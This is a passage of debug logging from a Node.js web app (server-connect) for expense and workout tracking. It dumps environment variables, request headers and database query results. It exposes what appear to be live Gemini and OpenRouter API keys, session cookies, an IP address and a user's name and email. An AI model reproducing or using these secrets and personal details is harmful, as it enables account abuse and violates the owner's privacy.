    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': { schedule_id: '2' },
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.248.126',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/exercise/2',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.126',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/exercise/2',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.248.126',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T00:45:14.497Z server-connect:router Serving serverConnect /api/health/get-exercises
2025-12-24T00:45:14.499Z server-connect:app Executing action step identify
2025-12-24T00:45:14.499Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:14.499Z server-connect:output identity: 1
2025-12-24T00:45:14.499Z server-connect:app Executing action step restrict
2025-12-24T00:45:14.499Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:45:14.500Z server-connect:output restrict: undefined
2025-12-24T00:45:14.500Z server-connect:app Executing action step select
2025-12-24T00:45:14.500Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'workout_exercise' },
    primary: 'exercise_id',
    joins: [],
    query: 'select * from `workout_exercise` where `workout_exercise`.`schedule_id` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-24T00:45:14.503Z server-connect:output list: [
  {
    exercise_id: 1,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Bench Press',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:51:46.000Z',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 2,
    schedule_id: 2,
    workout_name: 'Back',
    exercise_name: 'Dumbell Row',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:52:54.000Z',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 3,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Incline Dumbell Press',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:53:57.000Z',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 4,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Pec Deck Fly',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:53:58.000Z',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 5,
    schedule_id: 2,
    workout_name: 'Shoulder',
    exercise_name: 'Dumbell Overhead Press',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T17:43:22.000Z',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    status: 'Not Started'
  }
]
2025-12-24T00:45:30.732Z server-connect:router Serving templateView /exercise/2
2025-12-24T00:45:30.733Z server-connect:app Executing action step identify
2025-12-24T00:45:30.733Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:30.733Z server-connect:output identity: 1
2025-12-24T00:45:30.733Z server-connect:app Executing action step restrict
2025-12-24T00:45:30.733Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T00:45:30.733Z server-connect:output restrict: undefined
2025-12-24T00:45:30.733Z server-connect:router Render template layouts/main
2025-12-24T00:45:30.734Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': { schedule_id: '2' },
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.248.126',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/exercise/2',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.126',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/exercise/2',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.248.126',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/workout-exercise'
}
2025-12-24T00:45:30.931Z server-connect:app Executing action step identify
2025-12-24T00:45:30.931Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:30.931Z server-connect:output identity: 1
2025-12-24T00:45:31.317Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T00:45:31.317Z server-connect:app Executing action step identify
2025-12-24T00:45:31.317Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:31.318Z server-connect:output identity: 1
2025-12-24T00:45:31.318Z server-connect:app Executing action step restrict
2025-12-24T00:45:31.318Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:45:31.318Z server-connect:output restrict: undefined
2025-12-24T00:45:31.318Z server-connect:app Executing action step select
2025-12-24T00:45:31.318Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T00:45:31.322Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T00:45:31.327Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T00:45:31.327Z server-connect:router Serving serverConnect /api/health/get-exercises
2025-12-24T00:45:31.327Z server-connect:app Executing action step identify
2025-12-24T00:45:31.327Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:31.327Z server-connect:output identity: 1
2025-12-24T00:45:31.327Z server-connect:app Executing action step restrict
2025-12-24T00:45:31.327Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:45:31.328Z server-connect:app Executing action step identify
2025-12-24T00:45:31.328Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:31.328Z server-connect:output identity: 1
2025-12-24T00:45:31.328Z server-connect:app Executing action step restrict
2025-12-24T00:45:31.328Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:45:31.328Z server-connect:output restrict: undefined
2025-12-24T00:45:31.328Z server-connect:app Executing action step single
2025-12-24T00:45:31.328Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T00:45:31.329Z server-connect:output restrict: undefined
2025-12-24T00:45:31.329Z server-connect:app Executing action step select
2025-12-24T00:45:31.329Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'workout_exercise' },
    primary: 'exercise_id',
    joins: [],
    query: 'select * from `workout_exercise` where `workout_exercise`.`schedule_id` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-24T00:45:31.329Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T00:45:31.330Z server-connect:output list: [
  {
    exercise_id: 1,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Bench Press',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:51:46.000Z',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 2,
    schedule_id: 2,
    workout_name: 'Back',
    exercise_name: 'Dumbell Row',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:52:54.000Z',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 3,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Incline Dumbell Press',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:53:57.000Z',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 4,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Pec Deck Fly',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:53:58.000Z',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 5,
    schedule_id: 2,
    workout_name: 'Shoulder',
    exercise_name: 'Dumbell Overhead Press',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T17:43:22.000Z',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    status: 'Not Started'
  }
]
2025-12-24T00:58:14.923Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T00:58:14.924Z server-connect:app Executing action step identify
2025-12-24T00:58:14.924Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:14.924Z server-connect:output identity: 1
2025-12-24T00:58:14.924Z server-connect:app Executing action step restrict
2025-12-24T00:58:14.924Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T00:58:14.926Z server-connect:output restrict: undefined
2025-12-24T00:58:14.926Z server-connect:router Render template calorie-tracker
2025-12-24T00:58:14.926Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
